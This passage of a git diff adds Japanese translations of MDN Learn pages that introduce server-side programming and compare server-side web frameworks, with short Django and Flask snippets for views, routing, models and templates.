+<p>ブラウザで走るコードは<strong>クライアントサイドコード</strong>と呼ばれ、主要な課題は表示されるページの外観や動作を実現することにあります。例えば、どんなユーザーインターフェースを選んでまとめるか、どう配置するか、ナビゲーションをどう支援するか、フォームの入力をどう検証するかといった検討が重要です。いっぽうサーバーサイドプログラミングで重視されるのは、要求に合わせて返すコンテンツをどう選択するかということです。サーバーサイドコードが扱うのは、送付されてきたデータと要求を整合させること、データベースへのデータ登録と取り出し、要求に合致したデータを送り返すことなどです。</p> + +<p>クライアントサイドコードに使う言語は、<a href="/ja/docs/Learn/HTML">HTML</a>、<a href="/ja/docs/Learn/CSS">CSS</a>、それに<a href="/ja/docs/Learn/JavaScript">JavaScript</a> です。コードはブラウザ内で実行され、OSへのアクセスはないか、あってもわずかです。ファイルシステムへのアクセスも限定的です</p> + +<p>ユーザーが使うブラウザを、Web開発者が選ぶことはできません。クライアントサイドコードを実行するとき、ブラウザの互換性が問題になることがあります。実のところ、ブラウザ間の互換性の差異を克服することが、クライアントサイドプログラミングの大きな課題になっています。</p> + +<p>サーバーサイドコードを書くのには、さまざまな言語が使えます。主な例をあげると、PHP、 Python、 Ruby、 C#、NodeJS（JavaScript）などがあります。サーバーサイドコードはサーバーのOSを全面的に利用します。開発者は自分の用途に最適な言語（さらにはバージョンまで）を選ぶことになります。</p> + +<p>コードの開発には、<strong>Webフレームワーク </strong>がよく使われます。フレームワークとは、関数やオブジェクト、規則やコード構造などを集めたものです。よく出会う問題を解決したり、開発期間を短縮したり、ある分野で直面する様々な課題を単純化するのに役立てることができます。.</p> + +<p>フレームワークは、クライアントサイドコードでもサーバーサイドコードで使われます。しかし、くり返しになりますが、両者には明確な差があり、フレームワークも同じものではありえません。クライアントサイドWebフレームワークが配置と表現力を改善するだけなのに対し、サーバーサイドWebフレームワークはWebサーバーに共通する機能を提供しています。それを使わないとすると、多くの機能を自分で実装する必要があります。例えば、対話セッション、ユーザー認証、データベースへのアクセス、ライブラリの雛型化はフレームワークで実現できます。</p> + +<div class="note"> +<p><strong>注</strong>：クライアントサイドフレームワークは、クライアントサイドコードの開発を加速するのによく使われます。いっぽう、すべてのコードを手作りすることも可能です。実際のところ、単純なユーザーインターフェースしか必要としない小規模なWebサイトであれば、手作りの方が短期間で効率的な開発ができます。</p> + +<p>これに反して、Webアプリのサーバーサイドコンポーネントの開発は、フレームワークなしでは考えられません。HTTPサーバーのように重要な機能を最初から、例えばPythonで記述するのは、非常に困難なことです。ところがDjangoのようのPython Webフレームワークなら、すぐに使えるし、多くの有用なツールも提供されます。</p> +</div> + +<div> +<h2 id="サーバーサイドではどんなことができるのか？">サーバーサイドではどんなことができるのか？</h2> + +<p>サーバーサイドプログラミングが役に立つのは、ユーザーごとに仕立てられた情報を、効率的に提供できるからです。またそのおかげで、ユーザーにとって使い勝手がよくなるからです。</p> +</div> + +<p>例えばアマゾンのような会社では、サーバーサイドプログラミングによって、商品を検索したり、顧客の好みや過去の購入履歴から商品を勧めたり、すぐに購入できるようにしたりすることができます。</p> + +<p>銀行でのサーバーサイドプログラミングでは、口座情報を保管し、それを見たり送金したりするのは、認証の済んだ顧客だけができるようにしています。外にも、Facebook、Twitter、InstagramあるいはWikipdeiaでは、サーバーサイドプログラミングを使って、興味あるコンテンツを取り上げて公開するときのアクセス制限を行っています。</p> + +<p>サーバーサイドプログラミングの主な用途とその利点を以下にまとめます。一部は重複しているのが分かると思います。</p> + +<h3 id="情報を効率的に保管し、提供する">情報を効率的に保管し、提供する</h3> + +<p>アマゾンには何点の商品があるのか、考えたことはありますか？ Facebookへの投稿件数はどうでしょう？ それぞれの商品や投稿ごとに静的なページを作るのは、まったく不可能なことです。</p> + +<p>それに代わって、サーバーサイドプログラミングでは、データベースにデータを格納し、動的にページを構成して、HTMLや他の形式（例えばPDFや画像など）のファイルを送り返します。あるいは、{{glossary("JSON")}}や {{glossary("XML")}}などのファイルを送り返すだけで、クライアントサイドの適切なフレームワークに処理を任せることもできます。こうするとサーバーの負荷を軽減し、送るデータ量を削減することができます。</p> + +<p>サーバーの送り返す情報は、データベースから取り出したものだけに限りません。他のソフトウエアツールの処理結果だったり、通信サービスが受信したものでも構いません。さらに言うと、ユーザーが使っている機器に合わせて、コンテンツを調整することもできます。</p> + +<p>上方がデータベースに保管されているので、他のビジネスシステムが読み取ったり、変更することも可能です。例えば、商品が店舗で売れようと、オンラインで売れようと、一括して在庫を管理できるようになります。</p> + +<div class="note"> +<p><strong>実例</strong>：以下の例を見れば、サーバーサイドコードが、情報の効率的な保管と提供に役立つことが実感できるでしょう。</p> + +<ol> + <li><a href="https://www.amazon.co.jp">アマゾン</a>などの通販サイトを見てください。</li> + <li>キーワードを与えて商品を検索します。検索結果はさまざまですが、結果のページの構造は一定です。 </li> + <li>検索結果から各商品のページをを比較してみましょう。ページの構造や配置は全く同じことが分かります。商品ごとの情報をデータベースから取り出して、埋め込んでいるからです。</li> +</ol> + +<p>「魚」といった一般的な検索語を使うと、それこそ何百万件もの結果が出てきます。データベースを使うことで、これだけの情報を保管して提供できるのです。ただし、その情報は常に同じ場所に埋め込まれるのです。</p> +</div> + +<h3 id="ユーザーごとに使い勝手を改善する">ユーザーごとに使い勝手を改善する</h3> + +<p>サーバーが保管しているクライアントの情報を活用すれば、ユーザーにとって便利なものになり、使い勝手が向上します。例えば、多くの販売サイトではクレジットカード情報を保管して、再入力の手間がかからないようにしています。Googleマップのようなサイトでは、ユーザーの現在位置や保管していた位置を使って、経路情報を提供したり、検索や実際の旅行記録から現地のお勧め場所を表示したりします。</p> + +<p>ユーザーの関心を良く分析することで、どこに行きたいかを予想し、それに合わせた応答や通知ができるのです。例えば、以前に行った場所とか、人気の場所を地図上に表示します。</p> + +<div class="note"> +<p><strong>実例：</strong><a href="https://maps.google.co.jp/">Googleマップ</a> はユーザーの検索や移動の履歴を保管しています。よく行く場所や検索が多い場所を、優先して表示しています。</p> + +<p>Google検索の結果は、以前の検索履歴によって優先づけられています。</p> + +<ol> + <li> <a href="https:\\google.co.jp">Google検索</a>のページを開いてください。</li> + <li> まず「サッカー」を検索します。</li> + <li> 今度は、検索語欄に「好きな」と入力して、そのあとに続く語句の候補を見てください。</li> +</ol> + +<p>偶然だろうって？ とんでもない！</p> +</div> + +<h3 id="コンテンツへのアクセスを制限する">コンテンツへのアクセスを制限する</h3> + +<p>サーバーサイドプログラミングでは、認証ユーザーのデータへのアクセスを制限し、別のユーザーには許可された情報のみを表示します。</p> + +<p>こんな実例があります：</p> + +<ul> + <li>FacebookのようなSNSでは、自分のデータにはすべてアクセスできますが、友だちには閲覧するかコメントすることしか許していません。ユーザーは誰に閲覧を許すのか、あるいは誰のデータを自分のフィードに引用するのか決めることができます。 許可できることが、ユーザーにとって重要なサービスになっているのです！</li> + <li> + <p>あなたがいま見ているサイトは、コンテンツへのアクセスを制限しています。記事は誰でも読むことができますが、編集できるのはログインしたユーザーだけです。このページの右上にある「編集」ボタンをクリックしてみてください。あなたがログインしていたら、編集画面が表示されます。ログインしていないなら、ユーザー登録のページに誘導されます。</p> + </li> +</ul> + +<div class="note"> +<p><strong>実例：</strong>コンテンツへのアクセスを制限している実例を見てみましょう。銀行のオンラインサイトにアクセスすると、何が見えますか？ あなたの口座にログインすると、どんな情報が出てきますか？ どれが変更できますか？ 銀行側にしか変更できない情報は何でしょう？</p> +</div> + +<h3 id="セッションや途中状態の情報を保管する">セッションや途中状態の情報を保管する</h3> + +<p>サーバーサイドプログラミングでは、「セッション」を実装できます。これは、現在のサイトユーザーの情報を保管して、それに基づいた応答を返すようにしたものです。</p> + +<p>この機能により、ユーザーのログイン履歴を知ることで、電子メールや過去に購入した商品へのリンクを表示できます。オンラインゲームであれば、途中結果を保存して、そこから再開できるできるようになります。</p> + +<div class="note"> +<p><strong>実例:</strong>購読型の新聞サイト（例えば<a href="http://www.theage.com.au/">The Age</a>など）を開いて、無料で記事を読んでみてください。数時間か数日読み続けると、購読について説明するページに誘導され、それ以上記事が読めなくなります。これはクッキーで保管されたセッション情報を活用する一例です。（訳注：日本の新聞サイトでは、最初に無料登録を求められますが、そのあとは同じです。）</p> +</div> + +<h3 id="通知やメッセージを送る">通知やメッセージを送る</h3> + +<p>サーバーは一般的なお知らせやユーザー毎のお知らせをすることができます。ウエブサイトで表示するだけでなく、電子メールやSNS、インスタントメッセージ、ビデオ会議など、さまざまな通信を使っています。</p> + +<p>例をあげてみましょう：</p> + +<ul> + <li>FacebookやTwitterでは、書き込みがあったときに電子メールやSMSで通知してきます。</li> + <li>アマゾンは、過去の買い物や閲覧の履歴から、あなたが興味を持ちそうな商品を、お勧めとして定期的にメールしてきます。</li> + <li>Webサーバは、記憶容量の不足や、あやしいアクセスがあったとき、サイト管理者に注意を促すメールを送ってくることがあります。</li> +</ul> + +<div class="note"> +<p><strong>実例:</strong>: いちばんよくある通知の例は、登録確認のお知らせでしょう。興味のある大規模サイト（Google、アマゾンや Instagramなど）ならどこでもいいので、電子メールアドレスを使ってアカウント作ってみてください。すぐに電子メールが届いて、登録完了を知らせてくるか、登録を確認してアカウントを有効にするよう求められます。</p> +</div> + +<h3 id="データを分析する">データを分析する</h3> + +<p>ウエブサイトはユーザーに関する大量のデータを収集します。何を検索したか、どんな商品を購入したか、何を推奨したか、そのページにどれだけ長く留まっていたかなどです。サーバーサイドプログラミングでは、このデータを分析することで、応答を改善できるのです。</p> + +<p>例えばアマゾンやGoogleは、どちらも以前の検索（や購入）をもとに、商品の宣伝を表示します。</p> + +<div class="note"> +<p><strong>実例:</strong> Facebookユーザーの方は、自分のフィードにある投稿を見てください。 記事が、時間順になっていないときがあります。新しい投稿より、「いいね！」が多いもののほうがリストの前の方に現れたりします。</p> + +<p>サイトに表示される広告を見てください。その中には、他のサイトで閲覧したものがあります。Facebookがどんなアルゴリズムでコンテンツや広告を処理しているのか不明な点もありますが、あなたの「いいね！」や閲覧履歴をもとにしていることだけは確かです。</p> +</div> + +<h2 id="まとめ">まとめ</h2> + +<p>サーバーサイドプログラミングの最初の記事はこれで終わりです。お疲れさまでした。 </p> + +<p>ここまでで、サーバーサイドコードはWebサーバー上で実行され、ユーザーにどんな情報を送るか決めるのが主な目的であることを学びました。（ちなみにクライアントサイドコードは、そのデータを配置したり表現したりするのが目的です。）</p> + +<p>その有用性は、ウエブサイトが個々のユーザーに合わせた情報を効率的に提供できることと、サーバーサイドで実現できる機能について様々なアイディアが提供できることにあることも、理解いただけたでしょう。</p> + +<p>それから、サーバーサイドコードを書く言語は何種類もあり、Webフレームワークを使えば簡単に作れることも、お分かりいただけましたでしょうか。 </p> + +<p>次からの記事では、どのフレームワークを選べばよいか考えます。それから、クライアント・サーバー間の相互作用について、もう少し詳しく説明します。</p> + +<p>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</p> + +<h2 id="このモジュールの記事一覧">このモジュールの記事一覧</h2> + +<ul> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Introduction">サーバサイドの概要</a></li> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Client-Server_overview">クライアント - サーバの概要</a></li> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Web_frameworks">サーバーサイドウェブフレームワーク</a></li> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Website_security">Webサイトのセキュリティ</a></li> +</ul> diff --git a/files/ja/learn/server-side/first_steps/web_frameworks/index.html b/files/ja/learn/server-side/first_steps/web_frameworks/index.html new file mode 100644 index 0000000000..5d26d30fa1 --- /dev/null +++ b/files/ja/learn/server-side/first_steps/web_frameworks/index.html @@ -0,0 +1,328 @@ +--- +title: サーバーサイドウェブフレームワーク +slug: Learn/Server-side/First_steps/Web_frameworks +tags: + - Beginner + - CodingScripting + - Guide + - Intro + - Learn + - Server + - Server-side programming + - Web frameworks +translation_of: Learn/Server-side/First_steps/Web_frameworks +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</div> + +<p class="summary">前の記事では、ウェブクライアントとサーバー間の通信、HTTP リクエストとレスポンスの性質、およびウェブブラウザーからのリクエストにレスポンスするためにサーバーサイドウェブアプリケーションが実行する必要があることについて説明しました。この知識をもとに、ウェブフレームワークがどのようにこれらのタスクを単純化できるかを探り、最初のサーバーサイドウェブアプリケーションのためのフレームワークをどのように選択するかを考えてみましょう。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー。サーバー側のコードがHTTP リクエストを処理しレスポンスする方法 (<a href="/ja/docs/Learn/Server-side/First_steps/Client-Server_overview">クライアント - サーバーの概要</a>を参照) についての基本的な知識。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>ウェブフレームワークがサーバーサイドコードの開発/メンテナンスをどのように簡略化できるかを理解し、自分たちの開発のためのフレームワークの選択を考えさせるため。</td> + </tr> + </tbody> +</table> + +<p>次のセクションでは、実際のウェブフレームワークから取得したコードフラグメントを使用していくつかのポイントを説明します。今では<strong>すべて</strong>が意味をなさない場合でも、心配しないでください、フレームワーク固有のモジュールコードを通して作業していきますので。</p> + +<h2 id="Overview" name="Overview">概要</h2> + +<p>サーバーサイドウェブフレームワーク (別名「ウェブアプリケーションフレームワーク」)は、ウェブアプリケーションの作成、保守、および拡張を容易にするソフトウェアフレームワークです。適切なハンドラーへの URL のルーティング、データベースとのやり取り、セッションとユーザー認証のサポート、出力のフォーマット (HTML、JSON、XML など)、ウェブ攻撃に対するセキュリティの向上など、一般的なウェブ開発タスクを簡素化するツールとライブラリーを提供します。</p> + +<p>次のセクションでは、ウェブフレームワークによってウェブアプリケーションの開発がどのように容易になるかについて、もう少し詳しく説明します。次に、ウェブフレームワークを選択するために使用できる基準のいくつかを説明し、次にいくつかの選択肢をリストします。</p> + +<h2 id="What_can_a_web_framework_do_for_you" name="What_can_a_web_framework_do_for_you">ウェブフレームワークで何ができますか？</h2> + +<p>ウェブフレームワークは、一般的なウェブ開発操作を簡素化するためのツールとライブラリーを提供します。サーバーサイドのウェブフレームワークを使う<em>必要</em>はありませんが、使用することを強くお勧めします。それはあなたの人生をずっと楽にするでしょう。</p> + +<p>このセクションでは、ウェブフレームワークによって提供されることが多い機能の一部について説明します (必ずしもすべてのフレームワークがこれらの機能のすべてを提供するわけではありません！)。</p> + +<h3 id="Work_directly_with_HTTP_requests_and_responses" name="Work_directly_with_HTTP_requests_and_responses">HTTP リクエストとレスポンスを直接操作する</h3> + +<p>前回の記事で見たように、ウェブサーバーとブラウザーは HTTP プロトコルを介して通信します。サーバーはブラウザーからの HTTP リクエストを待ってから HTTP レスポンスで情報を返します。ウェブフレームワークを使用すると、これらのリクエストとレスポンスを処理するためのサーバーサイドコードを生成する単純化された構文を作成できます。<span class="tlid-translation translation" lang="ja"><span title="">これは、低レベルのネットワークプリミティブよりも、より簡単な、より高レベルのコードと対話する、より簡単な仕事を持つことを意味します。</span></span></p> + +<p>以下の例は、Django (Python) ウェブフレームワークでどのように機能するかを示しています。すべての "view" 関数 (リクエストハンドラー) はリクエスト情報を含む <code>HttpRequest</code> オブジェクトを受け取り、フォーマットされた出力 (この場合は文字列) と共に <code>HttpResponse</code> オブジェクトを返す必要があります。</p> + +<pre class="brush: python"># Django view function +from django.http import HttpResponse + +def index(request): + # Get an HttpRequest (request) + # perform operations using information from the request. + # Return HttpResponse + return HttpResponse('Output string to return') +</pre> + +<h3 id="Route_requests_to_the_appropriate_handler" name="Route_requests_to_the_appropriate_handler">適切なハンドラーにリクエストをルーティングする</h3> + +<p>ほとんどのサイトは、別々の URL からアクセス可能なさまざまなリソースを数多く提供します。これらすべてを 1 つの関数で処理するのは管理が難しいため、ウェブフレームワークは URL パターンを特定のハンドラー関数にマッピングするための単純なメカニズムを提供します。ベースとなるコードを変更することなく特定の機能を提供するために使用される URL を変更できるため、このアプローチにはメンテナンスの面でも利点があります。</p> + +<p>フレームワークが異なると、マッピングに異なるメカニズムを使用します。たとえば、Flask (Python) ウェブフレームワークは、デコレーターを使用してビュー関数への経路を追加します。</p> + +<pre class="brush: python">@app.route("/") +def hello(): + return "Hello World!"</pre> + +<p>Django は開発者が URLパターンとビュー関数の間の URLマッピングのリストを定義することを期待しています。</p> + +<pre class="brush: python">urlpatterns = [ + url(r'^$', views.index), + # example: /best/myteamname/5/ + url(r'^(?P<team_name>\w.+?)/(?P<team_number>[0-9]+)/$', views.best), +] +</pre> + +<h3 id="リクエスト内のデータに簡単にアクセスできるようにする">リクエスト内のデータに簡単にアクセスできるようにする</h3> + +<p>データはさまざまな方法で HTTP リクエストにエンコードできます。サーバーからファイルまたはデータを取得するためのHTTP <code>GET</code> リクエストは、URL パラメータまたは URL 構造内で必要なデータをエンコードすることができます。サーバー上のリソースを更新するための HTTP <code>POST</code> リクエストは、代わりに更新情報をリクエストの本文内に「POST データ」として含めます。HTTP リクエストはまた、現在のセッションまたはユーザーに関する情報をクライアント側のクッキーに含めることができます。</p> + +<p>ウェブフレームワークは、この情報にアクセスするためのプログラミング言語に適したメカニズムを提供します。<br> + たとえば、Django がすべてのビュー関数に渡す <code>HttpRequest</code> オブジェクトには、対象の URL にアクセスするためのメソッドとプロパティ、リクエストの種類 (HTTP <code>GET</code> など)、<code>GET</code> または <code>POST</code> パラメーター、cookie、セッションデータなどが含まれます。Django は URL マッパーで「キャプチャパターン」を定義することで URL の構造にエンコードされた情報を渡すこともできます (上のセクションの最後のコードを見てください)。</p> + +<h3 id="データベースアクセスを抽象化および単純化する">データベースアクセスを抽象化および単純化する</h3> + +<p>ウェブサイトは、データベースを使用して、ユーザと共有するための情報とユーザに関する情報の両方を保存します。ウェブフレームワークは多くの場合、データベースの読み取り、書き込み、照会、および削除操作を抽象化するデータベース層を提供します。この抽象化層は、オブジェクトリレーショナルマッパー (ORM) と呼ばれます。</p> + +<p>ORM を使用することには、2 つのメリットがあります。</p> + +<ul> + <li>基になるデータベースを使用するコードを必ずしも変更することなく、置き換えることができます。これにより、開発者は使用状況に基づいてさまざまなデータベースの特性を最適化できます。</li> + <li>データの基本的な検証はフレームワーク内に実装できます。これにより、データが正しい種類のデータベースフィールドに格納されていること、正しい形式 (メールアドレスなど) であることを確認することが簡単かつ安全になり、いかなる意味でも悪意はありません (クラッカーはデータベースレコードの削除などの悪いことをするために特定の形式のコードを使用することができます)。</li> +</ul> + +<p>たとえば、Django のウェブフレームワークは ORM を提供し、レコードの構造を<em>モデル</em>として定義するために使用されるオブジェクトを参照します。モデルは格納されるべきフィールド<em>タイプ</em>を特定し、それはどの情報を格納することができるかについてのフィールドレベルの検証 (例えば、メールフィールドは有効なメールアドレスのみを許可する) を提供できます。<span class="tlid-translation translation" lang="ja"><span title="">フィールド定義では、最大サイズ、デフォルト値、選択リストのオプション、ドキュメントのヘルプテキスト、フォームのラベルテキストなども指定できます。</span><span title="">コードとは別に変更されるかもしれない設定であるため、モデルは基礎となるデータベースについてのいかなる情報も述べません。</span></span></p> + +<p>以下の最初のコードスニペットは、<code>Team</code> オブジェクト用の非常に単純な Django モデルを示しています。これは、チーム名とチームレベルを文字フィールドとして格納し、各レコードに格納する最大文字数を指定します。<code>team_level</code> は選択項目なので、表示される選択項目と保管されるデータの間のマッピング、およびデフォルト値も提供します。</p> + +<pre class="brush: python">#best/models.py + +from django.db import models + +class Team(models.Model): + team_name = models.CharField(max_length=40) + + TEAM_LEVELS = ( + ('U09', 'Under 09s'), + ('U10', 'Under 10s'), + ('U11, 'Under 11s'), + ... #list our other teams + ) + team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11') +</pre> + +<p>Django モデルはデータベースを検索するための簡単なクエリ API を提供します。これは、異なる基準 (正確、大文字と小文字を区別しない、より大きいなど) を使用して一度に多数のフィールドに対して一致させることができ、複雑なステートメント (たとえば、"Fr" で始まるチーム名、または "al" で終わるチーム名を持つ U11 チームの検索を指定できます) をサポートすることができます。</p> + +<p>2番目のコードスニペットは、すべての U09 チームを表示するための表示機能 (リソースハンドラー) を示しています。この場合、<code>team_level</code> フィールドのテキストが 'U09' であるすべてのレコード (この基準が、2つの下線で区切られたフィールド名と一致タイプを持つ引数、つまり <strong>team_level__exact</strong> として <code>filter()</code> 関数に渡されることに注意してください) をフィルタリングしたいと指定します。</p> + +<pre class="brush: python">#best/views.py + +from django.shortcuts import render +from .models import Team + +def youngest(request): + <strong>list_teams = Team.objects.filter(team_level__exact="U09")</strong> + context = {'youngest_teams': list_teams} + return render(request, 'best/index.html', context) +</pre> + +<dl> +</dl> + +<h3 id="Rendering_data" name="Rendering_data">データのレンダリング</h3> + +<p>ウェブフレームワークは通常テンプレートシステムを提供します。これにより、ページが生成されたときに追加されるデータのプレースホルダーを使用して、出力文書の構造を指定できます。テンプレートは HTML の作成によく使用されますが、他の種類の文書も作成できます。</p> + +<p>ウェブフレームワークは多くの場合、{{glossary("JSON")}} や {{glossary("XML")}} など、格納されているデータから他のフォーマットを簡単に生成するためのメカニズムを提供します。</p> + +<p>たとえば、Django テンプレートシステムでは、"double-handlebars" 構文 (例えば <code>{</code><code>{ <em>variable_name</em> </code><code>}</code><code>}</code>) を使って変数を指定することができます。これは、ページがレンダリングされるときにビュー関数から渡された値に置き換えられます。テンプレートシステムは式のサポート (構文: <code>{% <em>expression</em> %}</code>) も提供します。これによりテンプレートは、渡されたリスト値を繰り返すような単純な操作を実行できます。</p> + +<div class="note"> +<p><strong>メモ</strong>: Jinja2 (Python)、handlebars (JavaScript)、moustache (JavaScript) など、他の多くのテンプレートシステムでも同様の構文が使用されています。</p> +</div> + +<p>以下のコードスニペットはこれがどのように機能するかを示しています。前のセクションの「最年少チーム」の例を続けると、HTML テンプレートにはビューによって <code>youngest_teams</code> というリスト変数が渡されます。HTML スケルトンの内部には、最初に <code>youngest_teams</code> 変数が存在するかどうかを確認し、次に for ループ内でそれを繰り返す式があります。各イテレーションで、テンプレートはチームの <code>team_name</code> 値をリストアイテムに表示します。</p> + +<pre class="brush: html">#best/templates/best/index.html + +<!DOCTYPE html> +<html lang="en"> +<body> + + {% if youngest_teams %} + <ul> + {% for team in youngest_teams %} + <li>\{\{ team.team_name \}\}</li> + {% endfor %} + </ul> +{% else %} + <p>利用できるチームがありません。</p> +{% endif %} + +</body> +</html> +</pre> + +<h2 id="How_to_select_a_web_framework" name="How_to_select_a_web_framework">ウェブフレームワークの選び方</h2> + +<p>使いたいと思うかもしれないほとんどすべてのプログラミング言語には多数のウェブフレームワークが存在します (次のセクションでもっと人気のあるフレームワークの一部をリストします)。選択肢が多すぎると、どのウェブフレームワークが新しいウェブアプリケーションの最適な出発点になるかを判断するのが難しくなります。</p> + +<p>決定に影響を与える可能性がある要因の一部は以下のとおりです。</p> + +<ul> + <li><strong>学ぶ努力:</strong> ウェブフレームワークを学ぶための努力は、基礎となるプログラミング言語、その API の一貫性、その文書の品質、およびそのコミュニティの規模と活動に慣れているかどうかによって異なります。まったくプログラミングの経験がない場合は、Django を検討してください (上記の基準に基づいて学ぶのが最も簡単な方法の1つです)。 すでに特定のウェブフレームワークやプログラミング言語に関する豊富な経験を持っている開発チームの一員であれば、それにこだわるのは理にかなっています。</li> + <li><strong>生産性:</strong> 生産性とは、フレームワークに慣れれば新しい機能をどれだけ早く作成できるかを示す尺度であり、コードの作成と保守の両方の作業が含まれます (古い機能が壊れている間は新しい機能を作成できないため)。生産性に影響を与える要因の多くは、「学ぶ努力」の要因と似ています。例えばドキュメント、コミュニティ、プログラミング経験などで、その他の要因としては + <ul> + <li><em>フレームワークの目的/由来</em>: ウェブフレームワークの中には、特定の種類の問題を解決するために最初に作成されたものもあり、同様の制約を持つウェブアプリケーションを作成するのに優れています。たとえば、Django は新聞のウェブサイトの開発をサポートするために作成されたので、ブログやその他のものを公開するサイトに適しています。それとは対照的に、Flask ははるかに軽量なフレームワークであり、組み込みデバイスで実行されるウェブアプリケーションを作成するのに最適です。</li> + <li><em>考え方がある vs ない</em>: 考え方のあるフレームワークは、特定の問題を解決するための推奨される「最善の」方法があるものです。一般的な問題を解決する場合に、考え方のあるフレームワークはより生産的になる傾向がありますが、時々柔軟性が劣ります。</li> + <li><em>電池が含まれている か 自分でそれを入手</em>: 一部のウェブフレームワークには、開発者が「デフォルトで」考えうるすべての問題に対処するツール/ライブラリーが含まれています。一方、より軽量なフレームワークには、ウェブ開発者が別々のライブラリーから問題の解決策を選んで解決することがあります (Django は前者の例で、Flask は非常に軽量なフレームワークの例です)。すべてを含むフレームワークは、必要なものがすべて揃っているため、始めるのが簡単なことが多く、それがうまくまとまって文書化されている可能性があります。<br> + しかし、より小さなフレームワークに (これから) 必要とするものすべてがあれば、より制約の厳しい環境で実行することができ、学ぶべきことのより小さく簡単なサブセットを持つことになります。</li> + <li><em>フレームワークが優れた開発プラクティスを促進するかどうか</em>: たとえば、<a href="/ja/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">Model-View-Controller</a> アーキテクチャでコードを論理関数に分割することを推奨するフレームワークは、開発者に期待していないものよりも保守性の高いコードになります。同様に、フレームワーク設計は、コードをテストして再利用することがどれほど簡単かに大きな影響を与える可能性があります。</li> + </ul> + </li> + <li><strong>フレームワーク/プログラミング言語の性能:</strong> Python のような比較的遅いランタイムでも、中規模のサイトを中程度のハードウェアで実行するには「十分」であるため、通常「スピード」が選択の最大の要因になることはありません。他の言語、たとえば C++ または JavaScript のような言語の体感速度の利点は、学習と保守のコストによって相殺される可能性があります。</li> + <li><strong>キャッシングサポート:</strong> ウェブサイトがより成功するにつれて、ユーザーがアクセスしたときに受信するリクエストの数に対応できなくなる可能性があります。この時点で、キャッシュのサポートを追加することを検討するかもしれません。キャッシングは、ウェブレスポンスの全部または一部を保存して、後続のリクエストで再計算する必要がないようにするための最適化です。キャッシュされたレスポンスを返すことは、そもそもレスポンスを計算するよりもはるかに高速です。キャッシングは、コード内またはサーバー内 (<a href="https://en.wikipedia.org/wiki/Reverse_proxy">リバースプロキシー</a>を参照) に実装できます。ウェブフレームワークには、キャッシュ可能なコンテンツを定義するさまざまなレベルのサポートがあります。</li> + <li><strong>スケーラビリティ:</strong> ウェブサイトが素晴らしく成功すると、キャッシングの利益を使い果たし、さらに<em>垂直なスケーリング</em>の限界に達するでしょう (より強力なハードウェア上であなたのウェブアプリケーションを実行します)。この時点では、<em>水平方向にスケールする</em> (サイトを多数のウェブサーバーやデータベースに分散して負荷を分散する) か、「地理的に」スケールする必要があるかもしれません。選択したウェブフレームワークによって、サイトの規模を拡大するのがいかに簡単になるかが大きく変わります。</li> + <li><strong>ウェブセキュリティ:</strong> 一部のウェブフレームワークは、一般的なウェブ攻撃への対処をより適切にサポートします。たとえば Django は HTML テンプレートからのすべてのユーザ入力をサニタイズするので、ユーザが入力した JavaScript は実行できません。他のフレームワークも同様の保護を提供しますが、デフォルトで常に有効になっているわけではありません。</li> +</ul> + +<p>ライセンス、フレームワークが活発に開発されているかどうかなど、他にも多くの要因が考えられます。</p> + +<p>プログラミングの完全な初心者であるならば、おそらく「学びやすさ」に基づいてフレームワークを選ぶでしょう。言語自体の「使いやすさ」に加えて、高品質のドキュメント/チュートリアル、および新しいユーザーを支援する活発なコミュニティが最も貴重なリソースです。コースの後半で例を書くために <a href="https://www.djangoproject.com/">Django</a> (Python) と <a href="http://expressjs.com/">Express</a> (Node/JavaScript) を選択しました。これは主にそれらが習得が容易で優れたサポートがあるためです。</p> + +<div class="note"> +<p><strong>メモ</strong>: <a href="https://www.djangoproject.com/">Django</a> (Python) と <a href="http://expressjs.com/">Express</a> (Node/JavaScript) のメインウェブサイトに行き、それらのドキュメントとコミュニティを調べてみましょう。</p> + +<ol> + <li>メインサイトに移動する (上記のリンク先) + <ul> + <li>Documentation メニューのリンク (Documentation、Guide、API Reference、Getting Started など) をクリックします。</li> + <li>URL ルーティング、テンプレート、データベース/モデルの設定方法を説明したトピックはありますか？</li> + <li>ドキュメントは明確ですか？</li> + </ul> + </li> + <li>各サイトのメーリングリストに移動します (コミュニティリンクからアクセス可能)。 + <ul> + <li>過去数日間に投稿された質問の数</li> + <li>回答はいくつありますか？</li> + <li>彼らは活発なコミュニティを持っていますか？</li> + </ul> + </li> +</ol> +</div> + +<h2 id="A_few_good_web_frameworks" name="A_few_good_web_frameworks">いくつかの良いウェブフレームワークとは？</h2> + +<p>それでは次に、いくつかのサーバーサイドウェブフレームワークについて説明しましょう。</p> + +<p>以下のサーバーサイドフレームワークは、執筆時点で入手可能な最も人気のあるものの一部を表しています。オープンソースで、活発に開発されており、熱心なコミュニティがドキュメントを作成し、ディスカッション掲示板でユーザーを支援しています。また、多数の有名ウェブサイトで使用されています。他にも基本的なインターネット検索を使用して見つけられる多くの素晴らしいサーバーサイドフレームワークがあります。</p> + +<div class="note"> +<p><strong>メモ</strong>: 説明は (一部) フレームワークウェブサイトから引用しています。</p> +</div> + +<h3 id="Django_Python">Django (Python)</h3> + +<p><a href="https://www.djangoproject.com/">Django</a> は、迅速な開発とクリーンで実用的なデザインを促進する高レベルの Python ウェブフレームワークです。</p> + +<p>経験豊富な開発者によって構築されており、ウェブ開発における面倒なことの大部分を世話します、そのため、車輪の再発明をする必要なく、アプリの作成に集中できます。無料でオープンソースです。</p> + +<p>Django は「バッテリー同梱」という哲学に従い、ほとんどの開発者が「一般的に」実行したいと思うほとんどすべてのことを提供します。すべてが含まれているので、すべて一緒に機能し、一貫した設計原理に従い、そして広範囲かつ最新のドキュメントがあります。また、高速で安全、そして非常にスケーラブルです。Python をベースにしているので、Django のコードは読みやすく、保守も簡単です。</p> + +<p>(Django のホームページから) Django を使っている人気のあるサイトには、Disqus、Instagram、Knight Foundation、MacArthur 